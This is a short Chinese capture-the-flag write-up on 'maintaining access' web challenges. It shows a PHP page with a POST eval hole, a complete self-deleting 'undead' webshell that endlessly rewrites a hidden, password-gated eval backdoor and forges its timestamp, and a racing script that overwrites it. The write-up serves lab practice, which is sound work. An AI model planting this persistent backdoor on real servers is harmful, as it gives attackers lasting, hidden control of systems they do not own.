不知道干点什么,干脆玩玩维权吧。

web670

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
highlight_file(__FILE__);

$a=$_GET['action'];

switch($a){
case 'cmd':
eval($_POST['cmd']);
break;
case 'check':
file_get_contents("http://checker/api/check");
break;
default:
die('params not validate');
}

经过尝试后发现其在check后会删文件。

而想到对抗方法当然就是内存马了,于是我在网上随便找了一个内存马

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ignore_user_abort(true);//允许脚本再客户端断开后进行运行
set_time_limit(0);
unlink(__FILE__);
$file = '.3.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .3.php');
usleep(5000);
}
?>

上面的内存马只要上传后访问其web页面就会自删且不断生成马

连上不死马后发现其并没有删除所有文件,只删除了php文件

内存马对抗方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.3.php';
$code = 'hi springbird !';
//pass=pass
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .3.php');
// usleep(5000);
usleep(1000);
}
?>

通过上面的脚本来对不死马进行竞争因为脚本的运行速度比内存马快所有会将不死马的文件覆盖

web671

同样内存马

web671和676都是内存马我直接跳过

web677

我们可以看到web页面是不可写的